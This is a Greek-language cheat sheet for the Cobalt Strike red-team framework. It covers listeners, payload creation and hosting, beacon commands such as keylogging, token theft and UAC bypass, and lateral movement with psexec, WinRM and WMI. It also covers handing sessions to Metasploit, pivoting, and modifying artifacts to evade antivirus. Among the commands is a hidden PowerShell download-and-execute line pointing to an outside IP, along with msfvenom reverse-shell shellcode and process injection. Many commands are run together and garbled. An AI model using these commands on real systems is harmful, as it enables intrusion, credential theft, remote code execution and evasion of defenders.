Cobalt Strike -> Ακροατές -> Προσθήκη/Επεξεργασία και μπορείτε να επιλέξετε πού να ακούσετε, ποιον τύπο beacon να χρησιμοποιήσετε (http, dns, smb...) και άλλα.
Ακροατές Peer2Peer
Τα beacons αυτών των ακροατών δεν χρειάζεται να επικοινωνούν απευθείας με το C2, μπορούν να επικοινωνούν μέσω άλλων beacons.
Cobalt Strike -> Ακροατές -> Προσθήκη/Επεξεργασία και χρειάζεται να επιλέξετε τα beacons TCP ή SMB
Το TCP beacon θα ορίσει έναν ακροατή στην επιλεγμένη θύρα. Για να συνδεθείτε σε ένα TCP beacon χρησιμοποιήστε την εντολή connect <ip> <port> από ένα άλλο beacon
Το smb beacon θα ακούσει σε ένα pipename με το επιλεγμένο όνομα. Για να συνδεθείτε σε ένα SMB beacon χρειάζεται να χρησιμοποιήσετε την εντολή link [target] [pipe].
Δημιουργία και φιλοξενία payloads
Δημιουργία payloads σε αρχεία
Επιθέσεις -> Πακέτα ->
HTMLApplication για αρχεία HTA
MS Office Macro για ένα εγγραφο γραφείου με μακρό
Windows Executable για ένα .exe, .dll ή .exe υπηρεσίας
Windows Executable (S) για ένα stageless .exe, .dll ή .exe υπηρεσίας (καλύτερο stageless από staged, λιγότερα IoCs)
Δημιουργία και φιλοξενία payloads
Επιθέσεις -> Web Drive-by -> Scripted Web Delivery (S) Αυτό θα δημιουργήσει ένα script/executable για να κατεβάσει το beacon από το cobalt strike σε μορφές όπως: bitsadmin, exe, powershell και python
Φιλοξενία Payloads
Αν ήδη έχετε το αρχείο που θέλετε να φιλοξενήσετε σε έναν διακομιστή ιστού, απλά πηγαίνετε στο Επιθέσεις -> Web Drive-by -> Host File και επιλέξτε το αρχείο που θέλετε να φιλοξενήσετε και τη διαμόρφωση του διακομιστή ιστού.
Επιλογές Beacon
# Εκτέλεση τοπικού .NET binaryexecute-assembly</path/to/executable.exe># Στιγμιότυπα οθόνηςprintscreen# Πάρτε ένα μόνο στιγμιότυπο οθόνης μέσω της μεθόδου PrintScrscreenshot# Πάρτε ένα μόνο στιγμιότυπο οθόνηςscreenwatch# Πάρτε περιοδικά στιγμιότυπα οθόνης## Πηγαίνετε στο Προβολή -> Στιγμιότυπα οθόνης για να τα δείτε# keyloggerkeylogger [pid] [x86|x64]## Προβολή > Πλήκτρα για να δείτε τα πατημένα πλήκτρα# portscanportscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Ενσωμάτωση δράσης portscan μέσα σε άλλη διεργασία
portscan [targets] [ports] [arp|icmp|none] [max connections]# Powershell# Εισαγωγή Powershell modulepowershell-importC:\path\to\PowerView.ps1powershell<γράψτεεδώpowershellcmd># Προσομοίωση χρήστη## Δημιουργία διαπιστευτηρίων με credsmake_token [DOMAIN\user] [password] # Δημιουργία διαπιστευτηρίων για προσομοίωση ενός χρήστη στο δίκτυοls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε τα δημιουργημένα διαπιστευτήρια για πρόσβαση στο C$ σε έναν υπολογιστή
rev2self# Σταματήστε τη χρήση των διαπιστευτηρίων που δημιουργήθηκαν με το make_token## Η χρήση του make_token δημιουργεί το γεγονός 4624: Ένας λογαριασμός συνδέθηκε με επιτυχία. Αυτό το γεγονός είναι πολύ συνηθισμένο σε ένα τομέα Windows, αλλά μπορεί να περιοριστεί με φιλτράρισμα στον τύπο σύνδεσης. Όπως αναφέρθηκε παραπάνω, χρησιμοποιεί το LOGON32_LOGON_NEW_CREDENTIALS που είναι τύπος 9.
# UAC Bypasselevatesvc-exe<ακροατής>elevateuac-token-duplication<ακροατής>runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
## Κλέψτε το token από το pid## Όπως το make_token αλλά κλέβει το token από μια διεργασίαsteal_token [pid] # Επίσης, αυτό είναι χρήσιμο για δικτυακές ενέργειες, όχι τ### Δημιουργία νέας συνεδρίας σύνδεσης, σημειώστε το luid και το processidexecute-assemblyC:\path\Rubeus.execreatenetonly/program:C:\Windows\System32\cmd.exe### Εισαγωγή εισιτηρίου στη δημιουργημένη συνεδρία σύνδεσηςexecute-assemblyC:\path\Rubeus.exeptt/luid:0x92a8c/ticket:[...base64-ticket...]### Τέλος, κλέψτε το token από αυτήν τη νέα διεργασίαsteal_token<pid># Πλευρική κίνηση## Εάν δημιουργήθηκε ένα token, θα χρησιμοποιηθείjump [method] [target] [listener]## Μέθοδοι:## psexec x86 Χρησιμοποιήστε ένα υπηρεσία για να εκτελέσετε ένα αρχείο EXE υπηρεσίας## psexec64 x64 Χρησιμοποιήστε ένα υπηρεσία για να εκτελέσετε ένα αρχείο EXE υπηρεσίας## psexec_psh x86 Χρησιμοποιήστε ένα υπηρεσία για να εκτελέσετε ένα PowerShell one-liner## winrm x86 Εκτελέστε ένα σενάριο PowerShell μέσω WinRM## winrm64 x64 Εκτελέστε ένα σενάριο PowerShell μέσω WinRMremote-exec [method] [target] [command]## Μέθοδοι:## psexec Απομακρυσμένη εκτέλεση μέσω του Service Control Manager## winrm Απομακρυσμένη εκτέλεση μέσω WinRM (PowerShell)## wmi Απομακρυσμένη εκτέλεση μέσω WMI## Για να εκτελέσετε ένα beacon με wmi (δεν είναι στην εντολή jump) απλά ανεβάστε το beacon και εκτελέστε τοbeacon> uploadC:\Payloads\beacon-smb.exebeacon> remote-execwmisrv-1C:\Windows\beacon-smb.exe# Παράδοση συνεδρίας στο Metasploit - Μέσω listener## Στον υπολογιστή με το metasploitmsf6>useexploit/multi/handlermsf6exploit(multi/handler) >setpayloadwindows/meterpreter/reverse_httpmsf6exploit(multi/handler) >setLHOSTeth0msf6exploit(multi/handler) >setLPORT8080msf6exploit(multi/handler) >exploit-j## Στο cobalt: Listeners > Add και ορίστε το Payload σε Foreign HTTP. Ορίστε το Host σε 10.10.5.120, τη θύρα σε 8080 και κάντε κλικ στο Save.
beacon> spawnmetasploit## Μπορείτε να εκκινήσετε μόνο συνεδρίες x86 Meterpreter με τον ξένο ακροατή.# Παράδοση συνεδρίας στο Metasploit - Μέσω εισαγωγής shellcode## Στον υπολογιστή με το metasploitmsfvenom-pwindows/x64/meterpreter_reverse_httpLHOST=<IP>LPORT=<PORT>-fraw-o/tmp/msf.bin## Εκτελέστε το msfvenom και προετοιμάστε τον ακροατή multi/handler## Αντιγράψτε το αρχείο bin στον υπολογιστή του cobalt strikepsshinject<pid>x64C:\Payloads\msf.bin#Εισαγωγή του shellcode του metasploit σε μια διεργασία x64# Παράδοση συνεδρίας metasploit στο cobalt strike## Δημιουργία stageless Beacon shellcode, πηγαίνετε σε Attacks > Packages > Windows Executable (S), επιλέξτε τον επιθυμητό ακροατή, επιλέξτε τον τύπο εξόδου Raw και επιλέξτε τη χρήση του x64 payload.
## Χρησιμοποιήστε το post/windows/manage/shellcode_inject στο metasploit για να εισαγάγετε τον δημιουργημένο κώδικα shellcode του cobalt strike
# Περιστροφή## Ανοίξτε ένα socks proxy στο teamserverbeacon> socks1080# Σύνδεση SSHbeacon> ssh10.10.17.12:22usernamepassword
Αποφυγή των AVs
Artifact Kit
Συνήθως στο /opt/cobaltstrike/artifact-kit μπορείτε να βρείτε τον κώδικα και τα προεπιλεγμένα πρότυπα (στο /src-common) των φορτίων που θα χρησιμοποιήσει το cobalt strike για να δημιουργήσει τα δυαδικά beacons.
Χρησιμοποιώντας το ThreatCheck με το δημιουργημένο backdoor (ή απλά με το προεπιλεγμένο πρότυπο) μπορείτε να βρείτε τον λόγο που ενεργοποιεί τον defender. Συνήθως είναι μια συμβολοσειρά. Επομένως, μπορείτε απλά να τροποποιήσετε τον κώδικα που δημιουργεί το backdoor έτσι ώστε αυτή η συμβολοσειρά να μην εμφανίζεται στο τελικό δυαδικό.
Μετά την τροποποίηση του κώδικα, απλά εκτελέστε ./build.sh από τον ίδιο φάκελο και αντιγράψτε τον φάκελο dist-pipe/ στον πελάτη Windows στο C:\Tools\cobaltstrike\ArtifactKit.
Μην ξεχάσετε να φορτώσετε το επιθετικό script dist-pipe\artifact.cna για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από τον δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.
Συλλογή Εργαλείων
Ο φάκελος ResourceKit περιέχει τα πρότυπα για τα φορτία βασισμένα σε σενάρια του Cobalt Strike, συμπεριλαμβανομένων των PowerShell, VBA και HTA.
Χρησιμοποιώντας το ThreatCheck με τα πρότυπα, μπορείτε να βρείτε τι δεν αρέσει στον ανιχνευτή (AMSI σε αυτήν την περίπτωση) και να το τροποποιήσετε:
Τροποποιώντας τις ανιχνευμένες γραμμές μπορούμε να δημιουργήσουμε ένα πρότυπο που δεν θα ανιχνευθεί.
Μην ξεχάσετε να φορτώσετε το επιθετικό script ResourceKit\resources.cna για να υποδείξετε στο Cobalt Strike να χρησιμοποιήσει τους πόρους από τον δίσκο που θέλουμε και όχι αυτούς που έχουν φορτωθεί.